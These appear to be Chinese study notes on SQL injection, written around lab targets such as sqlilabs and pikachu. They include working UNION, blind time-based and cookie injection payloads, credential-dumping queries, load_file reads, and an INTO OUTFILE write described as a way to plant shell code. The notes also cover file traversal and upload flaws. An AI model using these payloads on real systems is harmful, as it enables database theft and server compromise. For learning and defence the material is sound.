一.SQL注入
(一)基础知识
1危害:
(1)操纵数据
(2)数据写入,getshell,网站权限
2.实质
通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的 一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入 的数据,致使非法数据侵入系统。恶意代码(参数值的传入),实现自定义的一种查询
3.条件:
1.可控制的变量,带入查询数据库,变量为存在过滤,过滤不严谨
4.注意:
1)注入参数点的位置
2)不同数据库的注入思路不同
5.SQL语句干扰符号:’,”,%,),}
#在MySQL中,下面谅两句查询的结果相同
select *from user where id='1';
select *from user where id="1";
6.通过order by猜测网页查询的字段数
7.注入分类
(1)数字型注入
当输入的参数为整型时,则有可能存在数字型注入漏洞。
假设存在一条 URL 为: HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1
判断数字型漏洞的 SQL 注入点:
**① 先在输入框中输入一个单引号 ’ **
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1'
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异 常。
**② 在输入框中输入 and 1 = 1 **
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据与原始请求无任何差异。
**③ 在数据库中输入 and 1 = 2 **
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。 如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。
(2)字符型注入
当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不 需要单引号闭合,而字符型一般需要使用单引号来闭合。
字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。
假设后台的 SQL 语句如下:
SELECT * FROM table WHERE username = 'admin'
判断字符型漏洞的 SQL 注入点:
**① 还是先输入单引号 admin’ 来测试 **
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = 'admin''。
页面异常。
**② 输入: admin’ and 1 = 1 – **
注意:在 admin 后有一个单引号 ’ ,用于字符串闭合,最后还有一个注释符 – (两条杠后面还有一个空 格!!!)。
SQL 语句变为:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
页面显示正确。
**③ 输入: admin’ and 1 = 2 – **
SQL 语句变为:
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
页面错误。
满足上面三个步骤则有可能存在字符型 SQL 注入。
如果没有反应,证明网站未处理,可能没有注入点。如果网页返回404,或者跳转,可能网站有过滤,也可能不存在注入点
(3)其他类型
Cookie 注入、POST 注 入、延时注入等。 这些类型的注入归根结底也是数字型和字符型注入的不同展现形式或者注入的位置不同。
以下是一些常见的注入叫法:
- POST注入:注入字段在 POST 数据中
- Cookie注入:注入字段在 Cookie 数据中
- 延时注入:使用数据库延时特性注入
- 搜索注入:注入处为搜索的地方
- base64注入:注入字符串需要经过 base64 加密
8注入思路
-
明确数据库类型,权限
-
明确提交方法,参数类型
-
低权限:明确数据库记录信息系统表
依次库,表,列,值,注入查询
找后台,登录,获取shell(可能失败)
-
高权限:文件读写,命令执行,注册表读取
(二)mysql注入
1.信息收集
1)操作系统:@@version_compile_cs(不同的系统对数据库操作语句的大小写区分)
2)数据库名:database()
3)数据库用户:user()(专门管理数据库的账户),root为最高权限,容易导致跨站注入数 据。普通用户:只能注入自己网站。数据库的配置文件决定用户的权限。
4)数据库版本:version()(选择注入)
5)其他网站路径(进行文件读取,为高权限读取做准备)
2.数据注入
1)低版本(暴力或结合读取查询,表名,列名用猜的方式)
2)高版本(information_schema有据查询)
3.高权限注入
1)常规查询
2)跨库查询
3)文件读写
4.数据库自带方法
database()查询数据库名称
user()查询数据库用户
version()查询数据库版本
information_schema --5.0以上版本才有,储存所有的数据库名,表名,列名,可以通过查询他获取指定数据库下面的表名或列名信息
load_file():文件读取 ,
into outfile()或into dumfile(): 导出函数
5.information_shema
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
因为非root型的数据库是无法看见数据库表名的
数据库中的”.“表示下一级
information_schema.tables--记录所有表名信息的表
字段 含义 Table_catalog 数据表登记目录 Table_schema 数据表所属的数据库名 Table_name 表名称 Table_type 表类型[system view|base table] Engine 使用的数据库引擎[MyISAM|CSV|InnoDB] Version 版本,默认值10 Row_format 行格式[Compact|Dynamic|Fixed] Table_rows 表里所存多少行数据 Avg_row_length 平均行长度 Data_length 数据长度 Max_data_length 最大数据长度 Index_length 索引长度 Data_free 空间碎片 Auto_increment 做自增主键的自动增量当前值 Create_time 表的创建时间 Update_time 表的更新时间 Check_time 表的检查时间 Table_collation 表的字符校验编码集 Checksum 校验和 Create_options 创建选项 Table_comment 表的注释、备注 information_schema.columns--记录所有列明信息的表
字段 含义 table_schema 表所有者(对于schema的名称) table_name 表名 column_name 列名 ordinal_position 列标识号 column_default 列的默认值 is_nullable 列的为空性。如果列允许 null,那么该列返回 yes。否则,返回 no data_type 系统提供的数据类型 character_maximum_length 以字符为单位的最大长度,适于二进制数据、字符数据,或者文本和图像数据。否则,返回 null。有关更多信息,请参见数据类型 character_octet_length 以字节为单位的最大长度,适于二进制数据、字符数据,或者文本和图像数据。否则,返回 nu numeric_precision 近似数字数据、精确数字数据、整型数据或货币数据的精度。否则,返回 null numeric_precision_radix 近似数字数据、精确数字数据、整型数据或货币数据的精度基数。否则,返回 null numeric_scale 近似数字数据、精确数字数据、整数数据或货币数据的小数位数。否则,返回 null datetime_precision datetime 及 sql-92 interval 数据类型的子类型代码。对于其它数据类型,返回 null character_set_catalog 如果列是字符数据或 text 数据类型,那么返回 master,指明字符集所在的数据库。否则,返回 null character_set_schema 如果列是字符数据或 text 数据类型,那么返回 dbo,指明字符集的所有者名称。否则,返回 null character_set_name 如果该列是字符数据或 text 数据类型,那么为字符集返回唯一的名称。否则,返回 null collation_catalog 如果列是字符数据或 text 数据类型,那么返回 master,指明在其中定义排序次序的数据库。否则此列为 null collation_schema 返回 dbo,为字符数据或 text 数据类型指明排序次序的所有者。否则,返回 null collation_name 如果列是字符数据或 text 数据类型,那么为排序次序返回唯一的名称。否则,返回 null。 domain_catalog 如果列是一种用户定义数据类型,那么该列是某个数据库名称,在该数据库名中创建了这种用户定义数据类型。否则,返回 null domain_schema 如果列是一种用户定义数据类型,那么该列是这种用户定义数据类型的创建者。否则,返回 null domain_name 如果列是一种用户定义数据类型,那么该列是这种用户定义数据类型的名称。否则,返回 NULL information_schema.schemata--记录mysql中所有数据库的名称的表
字段 含义 schema_name 数据库名称 default_character_set_name 数据库编码 default_collation_name 数据库排序规则
6.相关防注入
1.自带防御,魔术引号,magic_qutotes_gpc=on
2.内置函数进行过滤,puh中如果确定数据类型,可以用is_int()判断是否为整数
3.自定义关键字过滤,如select关键字,大小写,编码
4.WAF防护软件:安全狗,宝塔,大部分都为过滤关键字
limit x,y 进行x,y的筛选
7案列
tables,columns这两个的应用
(1)爆出数据库的所有表
select id,email form member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'
--通过information_schema下的tables可以查询pikachu数据库下的所有表
(2)爆出所有的列(字段名)
select id,email form member where username='kobe' union select table_name,column_name from information_schema.columns where table_name='users' and table_schema='pikachu'
--通过information_schema下的columns可以查询某个表下面的所有字段
--
(3)跨站注入
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
…
特点A网站只操作A网站的数据库,B网站只操作B网站的数据库
通过一个网站的数据库注入漏洞,注入另一个网站,条件:root型数据库
通过A注入B
MySQL
GROUP_CONCAT()函数将组中的字符串连接成为具有各种选项的单个字符串。中间用逗号隔开SELECT * FROM users WHERE id=-1 union select 1,schema_name,3 from information_schema.schemata LIMIT 0,1 #爆出MySQL中数据库表中的第一个数据库的名称,因为有LIMIT 0,1,所以是第一个 select schema_name from information_schema.schamata #显示MySQL中数据库表中所有数据库的名称1)查看当前使用的数据库
SELECT * FROM users WHERE id=-1 union select 1,database(),2 LIMIT 0,1
1)爆出所有数据库名字
SELECT * FROM users WHERE id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata LIMIT 0,1 #爆出MySQL中数据库表中所有数据库的名称,并且用逗号分割,也是应为limit的限制 #因为users查询出来的是三个字段,所以联合查询查询出来的也是要是三个字段
2)爆出的bees数据库下的所有表
SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='bees' LIMIT 0,1
3)爆出bees数据库下的bees_admin表的所有字段
SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='bees_admin' LIMIT 0,1
4)获取指定数据
获取用admin_name,admin_password两个字段的数据
SELECT * FROM users WHERE id=-1 union select 1,admin_name,admin_password from bees.bees_admin LIMIT 0,1 #注意后面要指定查询数据库下面的表bees.bees_admin,即bees数据库下的bees_admin表
(4)文件读取
select load_file('C:/inetpub/target/sqlilabs/.txt')
#注意添加冒号与斜杠的写法
[常见load_file()读取敏感文件]((18条消息) 常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客)
①文件读取的类型
- 读取服务器默认路径对应的文件
- 读取随机路径的文件(网站路径)
②路径获取的常见方法
- 报错显示(乱输入信息爆出一些文件路径),
- 遗留文件(站长调试时留下的文件),
- 漏洞报错(明确搭建的平台,搜索相关的漏洞,来获取文件的路径),
- 平台配置文件(读取读取配置信息来获取网站的文件的路径)
- 爆破(网站的常见路径,不同系统常见的路径,没办法的办法)
③文件的读取
SELECT * FROM users WHERE id=-1 union select 1,load_file('C:/inetpub/target/sqlilabs/reds.txt'),3 LIMIT 0,1
读取的内容为:sqlreadfile
④文件的写入
SELECT * FROM users WHERE id=-1 union select 1,'x',3 into outfile 'C:\\inetpub\\target\\sqlilabs\\write.txt'-- LIMIT 0,1
#注意后面有--注释,在url中要--+来进行注释
当把x的内容换成shell代码后就实现了恶意代码的植入
- php魔术引号的过滤(内置安全开关)magic_qutotes_gpc(php的安装目录下面)
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,对__GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。防止sql注入
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。这些转义是必须的。
php中的magic_quotes_gpc是配置在php.ini中的一、当PHP magic_quotes_gpc=on
如果此时你对输入的数据作了addslashes()处理,
那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。
如果仅为magic_quotes_gpc=on,无再对写入数据库的字符串未经过任何处理。从数据库读出的字符串未作任何处理,则sql语句顺利执行,数据成功写入数据库,数据库保存格式和输出数据格式都和输入一样,不带反斜杠二、当PHP magic_quotes_gpc=off
必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出
因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。数据库保存格式和输出数据格式都和输入一样,不带反斜杠
- 效果
- 解决方法,对路劲进行编码,把路径进行hex(十六进制,不添加单引号)
(三)请求方法的注入
不同的请求方法获取的数据不同,明白数据的请求方法
1. GET:数据写在URL后面,用相应的方式传递参数
2. POST:大数据提交的方式,注入点在post
除了在url中体提交,也可以在网页输入上提交,如果需要与数据库连接的化就可能会存在注入,数据需要抓包才能看见。
产生的地方,多半出现在登录框,查询框,等各种和数据库有交互的框数据。
提交方式,与参数类型(单引号,双引号的干扰)
案列
1)抓包结果可以看出,账户,密码的提交方式,猜测可能有注入点
2)判断注入为字符型注入
3)猜测字段数为2
4)联合查询,查询数据库名与数据库用户
SELECT username, password FROM users WHERE username='' union select database(),user()#'and password='' LIMIT 0,1
5)获取改数据下的所有表
SELECT username, password FROM users WHERE username='' union select group_concat(table_name),3 from information_schema.tables where table_schema='security'-- 'and password='password' LIMIT 0,1
6)获取emails表的字段(id,email_id两个字段)
SELECT username, password FROM users WHERE username=''union select group_concat(column_name),3 from information_schema.columns where table_name='emails' and table_schema='security'#'and password='' LIMIT 0,1
7)获取数据
SELECT username, password FROM users WHERE username='' union select group_concat(id),group_concat(email_id )from emails#'and password='' LIMIT 0,1
Request接受
通过提交方式,绕过防护软件
php的SERVER[]全局变量,获取操作系统,用户IP,等
3.cookie注入
♦cookie注入的原理是:就要修改cookie的值,
♦cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
♦相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形
♦成有两个必须条件,
**条件1是:**程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
**条件2是:**在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
*2.为什么要cookie注入?*
****♦****主要是看看程序员有没有在cookie中做了一些过滤,我们有没有可趁之机。
案例,sqlilabs 第20关
1.代码审查
1)在源代码中,如果没有设置cookie的uname的值,就会对post提交的uname与passwd进行过滤检查
2)如果设置cookie的uname值,并且没有设置submit,则在cookie中进行sql查询
3)如果设置cookie的uname值,且设置submit,则输出" Your Cookie is deleted";
2.抓波修改cookie的值,并把submit删除,进行测试
1)输入一个用户名和密码,点击提交,进行抓包。
2)没更改cookie时的数据包
3).删除submit与更改cookie值,判断字段数(为3)
4).查询想要的字段
结果,数据库的名称为security,
5)就可以根据现有的注入点进行,暴库了
4 json提交数据的注入
一、Json简介
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。
json语法
数据在名称/值对中
数据由逗号分隔
大括号保存对象
中括号保存数组
JSON 值
JSON 值可以是:
数字(整数或浮点数) {“age”:30 }
字符串(在双引号中) {“uname”:“yang”}
逻辑值(true 或 false) {“flag”:true }
数组(在中括号中){“sites”:[{“name”:“yang”},{“name”:“ming”}]}
对象(在大括号中)JSON 对象在大括号({})中书写:
null { “runoob”:null }
(四)SQL server注入
1.利用错误消息提取信息,having
SQL Server 数据库是一个非常优秀的数据库,它可以准确地定位错误信息,这对攻击者来说是一件十分 美好的事情,因为攻击者可以通过错误消息提取自己想要的数据。
having的特点
1.having子句是用来对分组之后的信息进行过滤,在使用having时通常都会先使用group by。
2.having子句出现的字段必须的是分组之后的组的整体信息,having子句不允许出现组内的详细信息
3.having和where的异同:
相同:
都是对数据过滤,只保留有效的数据;
where和having一样, 都不允许出现字段的别名;
只允许出现最原始的字段的名字。不同:
where是对原始的记录过滤having是对分组之后的记录过滤;
where必须的写在having的前面,顺序不可颠倒否则运行出错。4.利用having的报错可以爆出表名与字段名
(五)access数据库
1.特点
- access
表名
列明
数据
- 没有数据库,access就相当于数据库,其他数据库比access要高级
- 没有内置方法
- 在asp网站中,数据库保存在当前的文件目录下
2.注入
- 只能是猜数据表和字段的名称,通过字典来跑
(六)盲注(sql本身查询方式insert,update等,或者网站过滤)
1.基于布尔的逻辑判断
2.基于时间的延时判断
if,sleep。if(条件,A,B)条件成立返回A,不成立返回B
select *from member where id=1 and sleep(if(database(),5,0))
#根据页面的加载时间判断数据库,不需要回显
#缺点会受到网络速度的影响
#判断段数据库的长度,爆破
select *from member where id=1 and sleep(if(length(database()=8),5,0))
mid抓取一个字符进行判断,就可以通过暴力破解数据库名mid(srt,a,b)从a位开始,抓取b个
SELECT * FROM users WHERE id=1 and sleep(if(mid(database(),1,1)='s',5,0))
3.基于报错的报错错回显
二.文件操作
1.跨目录文件的读取
2.如果读取到数据库配置文件,就会找到用户密码
3.通过工具扫目录,或者进行目录爬行,有时候读取的文件不会显示,可以通过修改源代码来达成目的
4.危害,发现目录盘的结构,配合一些操作
2.1网站文件
http://192.168.3.133:88/vul/dir/dir_list.php?title=truman.php
①网站域名http://192.168.3.133:88,文件夹vul/dir,文件dir_list.php,参数名itle,参数值
2.2文件读取
获取文件内容,但不可以获取目录结构
原因为程序员写代码时的不同
2.3文件上传(高危)
1.上传文件到网站目录
2.危害webshell植入后门
2.4目录遍历
2.5文件下载
存在文件下载的漏洞时,查看下载的地址,遍历出文件,通过…\的越级下载东西
出现在有下载的位置
三.注入拓展
3.1 加密注入
cookie的内容是被加密过的,注入的语句是需要进行相同的加密加密方式进行加密。
3.2二次注入
扫描工具一般是没有进行二次注入的,有源代码的测试比较可行。通过代码分析还是人工分析。
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:
- 第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。- 第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

- 当输入的参数在前端有长度限制可以在html里面更改,后台限制则不可更改。
技巧
- 明确漏洞的危害,目的与漏洞有关,漏洞提供什么样的帮助
